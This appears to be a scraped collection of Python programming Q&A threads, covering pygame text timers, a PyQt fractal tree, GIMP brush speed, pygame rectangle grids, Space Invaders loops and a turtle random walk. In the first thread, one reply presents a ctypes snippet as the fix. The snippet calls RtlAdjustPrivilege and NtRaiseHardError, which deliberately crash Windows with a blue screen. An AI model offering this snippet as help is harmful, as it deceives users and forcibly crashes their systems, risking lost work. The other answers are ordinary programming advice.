I'm programming a game in pygame. After hitting an object, the text appears on screen. How to make it disappear after a few seconds?
Fragment of my code:
def bonus(txt, x, y, size):
cz = pygame.font.SysFont("Times New Roman", size)
rend = cz.render(txt, 1, (0, 0, 0))
x = (WIDTH - rend.get_rect().width) / 2
y = (HEIGHT - rend.get_rect().height) / 4
screen.blit(rend, (x, y))
pygame.display.update()
def hit:
bonus('+3 points', 30, 70, 30)
Create 2 variables in global name space (or class attributes if you use classes). The first on states the bonus text and position (bonus_text). The other one states the time when the text has to disappear:
bonus_text = None
bonus_end = 0
Set the variables in hit. Use pygame.time.get_ticks() to get the current time. Add the timespan to the current time (e.g. 3000 milliseconds).
Don't forget the global statement, since the function writes to the variables in global namespace.
def hit():
global bonus_text, bonus_end
cz = pygame.font.SysFont("Times New Roman", size)
rend = cz.render(txt, 1, (0, 0, 0))
x = (WIDTH - rend.get_rect().width) / 2
y = (HEIGHT - rend.get_rect().height) / 4
bonus_text = (rend, (x, y))
bonus_end = pygame.time.get_ticks() + 3000 # 3000 milliseconds = 3 seconds
Continuously call draw_bonus in the main application loop. The function draws the bonus text, if bonus_text is set and the current time (pygame.time.get_ticks()) is less the time point a t which text has to disappear.
def draw_bonus(txt, x, y, size):
if bonus_text and pygame.time.get_ticks() < bonus_end:
screen.blit(*bonus_text)
It depends on the overall structure of your project. You can use some scheduling library like aspscheduler to schedule functions to be executed at some later time. Or, implement multithreading and use time.sleep() in one thread that is responsibe for drawing the text. Or, keep a list of functions and times when you need to call them, and go through this list on every main loop iteration
yes if you put this code then it wil be fixed
from ctypes.wintypes import *
tmp1 = c_bool()
tmp2 = DWORD()
ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, byref(tmp1))
ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6, byref(tmp2))
Related
I am trying to draw this simple tree fractal without success...
I have tried many combinations to get the recursive working propperly but never seemed to succeed to get the shape I wanted.
Here is the code I got at the end.
from PyQt5 import QtGui, QtWidgets, QtCore, Qt
import sys
class Arena(QtWidgets.QWidget):
def __init__(self):
super(Arena, self).__init__()
self.angle = 45
self.transform = QtGui.QTransform()
self.translate2 = 0
self.recursions = 10
self.setGeometry(2500, 400, 500, 500)
self.origin = (self.width()/2, self.height())
self.pal = QtGui.QPalette()
self.pal.setColor(QtGui.QPalette.Background, QtGui.QColor(0, 0, 0))
self.setPalette(self.pal)
self.pen_branch = QtGui.QPen()
self.pen_branch.setColor(QtGui.QColor(255, 255, 255))
initializes class
self.init_UI()
def init_UI(self):
self.slider_angle = QtWidgets.QSlider(QtCore.Qt.Horizontal, self)
self.slider_angle.setMinimum(-8000)
self.slider_angle.setMaximum(8000)
self.slider_angle.setGeometry(0, 50, self.width(), 50)
self.slider_angle.valueChanged.connect(
lambda value, x=0 : self.setAngleValue(value))
self.setAngleValue(4500)
self.slider_angle.setValue(4500)
builds the UI
def setAngleValue(self, value):
self.angle = value/100
self.update()
sets the angle
def branch(self, p, len):
p.drawLine(0, 0, 0, -len)
p.translate(0,-len)
if len > 3:
len *= 0.66
self.transform = p.transform()
p.rotate(self.angle)
self.branch(p, len)
p.setTransform(self.transform)
self.transform = p.transform()
p.rotate(-self.angle)
p.translate(0, len)
self.branch(p, len)
p.setTransform(self.transform)
Here is where the magic of the fractal should happen: the recursive method (AFAIK ...)
I use 'p.transform' to grab the transformation matrix and restore it after I create the line.
def paintEvent(self, e):
p = QtGui.QPainter(self)
p.setRenderHint(QtGui.QPainter.Antialiasing)
p.setPen(self.pen_branch)
p.drawText(20, 20, 'angle: ' + str(self.angle))
p.drawText(100, 20, 'trans2: ' + str(self.translate2))
# Trunk
p.translate(self.width()/2, self.height())
p.drawLine(0, 0, 0, -100)
self.branch(p, 100)
The paint event that paints the lines on the canvas.
app = QtWidgets.QApplication(sys.argv)
Arena = Arena()
Arena.show()
app.exec_()
The application runner.
After some fiddling I have reached a close result to what I am looking for but still not the goal yet. I'd like to create a perfectly symetrical tree, but this is what I got:
The new code is like this:
def branch(self, p, x, r, len):
p.drawLine(0, 0, 0, -len)
if len > 1 :
p.translate(0, -len)
p.rotate(r)
self.branch(p, 10, self.angle, len * 0.66)
p.rotate(-r)
self.branch(p, 10, -self.angle, len * 0.66)
p.translate(0, len)
p.rotate(-r)
def paintEvent(self, e):
p = QtGui.QPainter(self)
p.setRenderHint(QtGui.QPainter.Antialiasing)
p.setPen(self.pen_branch)
p.drawText(20, 20, 'angle: ' + str(self.angle))
p.drawText(100, 20, 'trans2: ' + str(self.translate2))
p.translate (self.width()/2, self.height())
self.branch(p, 10, self.angle, 200)
The problem resides in how the branch function is implemented: after you call rotate the first time, the other branch needs to use a doubled angle in order to go in the opposite direction.
Consider this: assuming the angle is 30°, if you call rotate(r) for the right branch, then you have to rotate(-r * 2) for the left one; in this way the angle is "reset" to the original value and then rotated on the opposite side.
This is the modified version of your function:
def branch(self, p, x, r, length):
p.drawLine(0, 0, 0, -length)
if length > 1 :
p.translate(0, -length)
p.rotate(r)
self.branch(p, 10, r, length * 0.66)
# rotate to the opposite side
p.rotate(-r * 2)
self.branch(p, 10, -r, length * 0.66)
# note that translation and rotation are inverted, opposed to your
# example, this is because you translated first and *then* applied
# rotation, so you should "reset" those states in the opposite way
p.rotate(r)
p.translate(0, length)
To avoid this kind of problems, it's usually better to use the save() and restore() functions, which allow you to use multiple levels of painter states: you save a state, apply all modifications you want (pen, brush and any kind of transformation), then you can restore the previous state automatically; this makes development easier, and get a much more readable and understandable code; just remember that the states must always be restored up to the original saved "level".
Here is how a better branch function could look:
def branch(self, p, x, r, length):
p.drawLine(0, 0, 0, -length)
if length > 3:
# save state, first level (for the current function)
p.save()
p.translate(0, -length)
# save state for the right branch
p.save()
p.rotate(r)
self.branch(p, 10, r, length * .66)
# restore to the previous "first" level
p.restore()
# again, for the left branch
p.save()
p.rotate(-r)
self.branch(p, 10, -r, length * .66)
# restore again
p.restore()
# restore the previous state
p.restore()
And here's the result:
Some suggestions:
use descriptive variables names (p, x and r are not very meaningful);
never use built-ins for variable names (in your case, len);
the lambda connection for valueChanged seems useless; what's the use of the x variable? Please try to keep your examples as minimal as possible, avoiding unnecessary variables or functions that just create confusion to the reader;
use separated widgets for each task; create a main container (which might be the "top level window"), set a layout manager, then add the slider and the custom widget to it; avoid setting fixed geometries as much as possible: the UI should be able to adjust itself to the window size ("responsive", as we call it nowadays);
pdb.gimp_paintbrush_default seems to be very slow (several seconds, for 500 dots using a standard brush. Lines are worse, obviously). Is this the way it is? Is there a way to speed things up when drawing straight lines using the user selected brush?
pythonfu console code:
from random import randint
img=gimp.image_list()[0]
drw = pdb.gimp_image_active_drawable(img)
width = pdb.gimp_image_width(img)
height = pdb.gimp_image_height(img)
point_number = 500
while (point_number > 0):
x = randint(0, width)
y = randint(0, height)
pdb.gimp_paintbrush_default(drw,2,[x,y])
point_number -= 1
I've been working on something very similar and ran into this problem also. Here's one technique that I found that made my function about 5 times faster:
Create a temporary image
Copy the layer you are working with to the temporary image
Do the drawing on the temporary layer
Copy the temporary layer on top of the original layer
I believe this speeds stuff up because GIMP doesn't have to draw the edits to the screen, but I'm not 100% sure. Here's my function:
def splotches(img, layer, size, variability, quantity):
gimp.context_push()
img.undo_group_start()
width = layer.width
height = layer.height
temp_img = pdb.gimp_image_new(width, height, img.base_type)
temp_img.disable_undo()
temp_layer = pdb.gimp_layer_new_from_drawable(layer, temp_img)
temp_img.insert_layer(temp_layer)
brush = pdb.gimp_brush_new("Splotch")
pdb.gimp_brush_set_hardness(brush, 1.0)
pdb.gimp_brush_set_shape(brush, BRUSH_GENERATED_CIRCLE)
pdb.gimp_brush_set_spacing(brush, 1000)
pdb.gimp_context_set_brush(brush)
for i in range(quantity):
random_size = size + random.randrange(variability)
x = random.randrange(width)
y = random.randrange(height)
pdb.gimp_context_set_brush_size(random_size)
pdb.gimp_paintbrush(temp_layer, 0.0, 2, [x, y, x, y], PAINT_CONSTANT, 0.0)
gimp.progress_update(float(i) / float(quantity))
temp_layer.flush()
temp_layer.merge_shadow(True)
# Delete the original layer and copy the new layer in its place
new_layer = pdb.gimp_layer_new_from_drawable(temp_layer, img)
name = layer.name
img.remove_layer(layer)
pdb.gimp_item_set_name(new_layer, name)
img.insert_layer(new_layer)
gimp.delete(temp_img)
img.undo_group_end()
gimp.context_pop()
I'm trying to get a code to print small rectangles all over my screen in pygame with the help of for loops, but having trouble. I have solved parts of it with this code but it looks ugly and preforms bad:
x = 0
y = 0
for y_row in range(60):
y = y + 10
pygame.draw.rect(screen, GREEN, [x, y, 5, 5], 0)
for x_row in range(70):
pygame.draw.rect(screen, GREEN, [x, y, 5, 5], 0)
x = x + 10
x = 0
To start of, I do not believe I have to assign a value to x and y if I just can figure out how to implement the value of y_row and x_row at x and y's places instead, now it increases with 1, it should increase with 10, than I can implement it instead.
Another problem with the code is that it leaves a blank row at the top, this is because I had to add the y = y + 10 above the pygame draw, otherwise it just printed one rectangle there witch made it more visible.
The template I'm using to get the code working you can find Here.
Drawing 4,200 rectangles to the screen every 60th of a second is probably a significant task for the CPU. I suspect that the pygame.draw.rect() function is fairly high-level and calls are not batched by pygame making it sub-optimal, there is a hint in the documentation (https://www.pygame.org/docs/ref/draw.html#pygame.draw.rect) that Surface.fill(color, rect=None, special_flags=0) can be hardware accelerated and may be a faster option if you're filling the rectangles.
Note: the code examples below are pseudo ... just means you need to fill in the gaps.
You only need 1 call to pygame.draw.rect per iteration of the loop not 2 as you have now, e.g.
for row in rows:
y = ...
for col in cols:
x = ...
... draw rect ...
One easy win for performance is to not draw anything that's off-screen, so test your x, y coordinates before rendering, e.g:
screen_width = 800
screen_height = 600
for ...
y = y += 10
if y > screen_height:
break
for ...
x += 10
if x > screen_width:
break
... draw block ...
The same approach could also be used (with a continue) to implement an offset (e.g a starting offset_x, offset_y value) where rectangles with negative x, y values are not rendered (the test is not x < 0 however, but x < -block_size).
There's nothing wrong with calculating the x and y values from a loop index as you are doing, it's often useful to have an index (for example the index [row][col] might give you the location of data for a tile in a 2D matrix representing game tiles). I would calculate the x, y values myself from the indexes using a multiplier (this also solves the blank first row issue):
block_size = 10
for row in ...
y = row * block_size
if y > screen_height:
break
for col in ...
x = col * block_size
if x > screen_width:
break
... draw block ...
If you're using Python2 then you might consider using xrange to predefine the loop ranges to improve performance (though I imagine only a small amount and as always with optimization testing the performance difference is key). For example:
rows = xrange(60)
cols = xrange(70)
for row in rows:
...
for cols in cols:
... draw block ...
As #bshuster13 mentioned you can use pythons range() function and pass an optional step and stop argument to create a list containing arithmetic progressions.
numberOfRows = 60
numberOfColumns = 70
stepBetweenRects = 10
for y in range(0, numberOfRows * stepBetweenRects, stepBetweenRects):
for x in range(0, numberOfColumns * stepBetweenRects, stepBetweenRects):
pygame.draw.rect(screen, GREEN, (x, y, 5, 5), 0)
def main():
screen = pygame.display.set_mode((675, 480))
pygame.display.set_caption("Space Invaders")
background = pygame.Surface(screen.get_size())
background.fill((0, 0, 0))
allSprites = pygame.sprite.Group()
for j in range(0, 5):
for i in range(0, 10):
invader1 = Invader1(screen, (0, 0))
invader1.x += 75
invader1.add(allSprites)
invader1.y += 75
I am trying to create a space invaders game for a project but im having a bit of trouble with the for loops, i want to create 10 instances of an enemy without having to type out each one, i know a for loop is the answer, im just not sure how to initialise it. I would like to start the first enemy at (0, 0) and move each enemy 75 spaces on the x axis and after 10 enemies are created move down 75 spaces on the y axis and repeat the process. Does anyone know how i would achieve this? Thanks in advance
Use ranges with a step parameter.
In [4]: range(0, 75 * 5, 75)
Out[4]: [0, 75, 150, 225, 300]
allSprites = pygame.sprite.Group()
for y in range(0, 75 * 5, 75):
for x in range(0, 75 * 10, 75):
Invader1(screen, (x, y)).add(allSprites)
Change your code to look like this:
def main():
screen = pygame.display.set_mode((675, 480))
pygame.display.set_caption("Space Invaders")
background = pygame.Surface(screen.get_size())
background.fill((0, 0, 0))
allSprites = pygame.sprite.Group()
for j in range(0, 5):
for i in range(0, 10):
invader1 = Invader1(screen, (75*i,75*j ))
invader1.add(allSprites)
You can get Pavel's answer all in one line if you use a nested list comprehension
invaders = [ Invader1(screen, (x, y)) for x in range(0, 750, 75) for y in range(0, 325, 75) ]
invader_list = []
for y in range(n):
for x in range(10):
invader_list.append(Invader(x * w, y * h))
1) Create a list to store the objects
2) Make a for loop iterating n times (the number of rows)
3) Make a nested for loop iterating 10 times (the number of colums)
4) Inside the two for loops, make the Invader object with x*w and y*h
As practice, and as a precursor to a more complex, larger project I have in mind, I have created a random walk script using the Turtle module. I realize that there are simpler ways to do the random walk without having to find the neighboring coordinates, but as far as I can tell this is necessary for the larger implementation.
The problem I am having is that python is reaching its maximum recursion depth when it finds that it has visited every adjacent cell in the getnext() function. I'm not sure how I would escape that loop and continue on as normal should that occur.
import turtle
import random
class cell(object):
def __init__(self, pos, visited = False):
self.xCoord = pos[0]
self.yCoord = pos[1]
self.visited = visited
self.neigh = []
self.neighbors = self.getneighbors()
def getneighbors(self):
for j in (-1, 0, 1):
for i in (-1, 0, 1):
self.neigh.append((self.xCoord+i, self.yCoord+j))
def getnext():
nextindex = random.randint(0, len(c.neigh)-1)
nextcoordt = c.neigh[nextindex]
nextcoord = list(c.neigh[nextindex])
if nextcoordt in coords:
getnext()
else:
turtle.goto(nextcoord[0], nextcoord[1])
coords = {}
turtle.setup(width =200, height = 200, startx = 0, starty = 0)
turtle.trace = False
for i in range(1000):
c = cell(list(turtle.pos()))
coords[turtle.pos()] = (c)
getnext()
Furthermore this is actually my first true application of OOP and I was wondering if this was a good way to use it.
Thanks a lot!
If your random walk finds that it has visited every adjacent cell, it would loop forever. Since you're using recursion it quickly exceeds the maximum recursion limit.
I'm sure this could be written in an OOP way, but the problems are more in your use of recursion than whether the cell class is useful. For example, I've simplified your code to run in a linear fashion. The changes are:
Eliminate the (0, 0) direction since it makes no forward progress. (optional depending on your goal, i.e. if you consider "staying put" a valid move or not).
Uses random.choice() to pick the direction of the next move.
Removes recursion in favor of calculating the next coordinate by adding the direction vector to the current position. A simple loop suffices.
Doesn't check the next position against a recent history of positions, since a move back to a previous space is perfectly valid for randomness.
Code:
import itertools
import random
import turtle
# change step size if you like
STEP = 1
PTS = [-STEP, 0, STEP]
DIRS = [(x, y) for x in PTS for y in PTS if x or y]
turtle.setup(width=400, height=400, startx=0, starty=0)
turtle.trace = False
pos = turtle.pos()
for i in range(1000):
px, py = turtle.pos()
# direction of next move
xd, yd = random.choice(DIRS)
# set pos to current pos + direction vector
turtle.goto(px + xd, py + yd)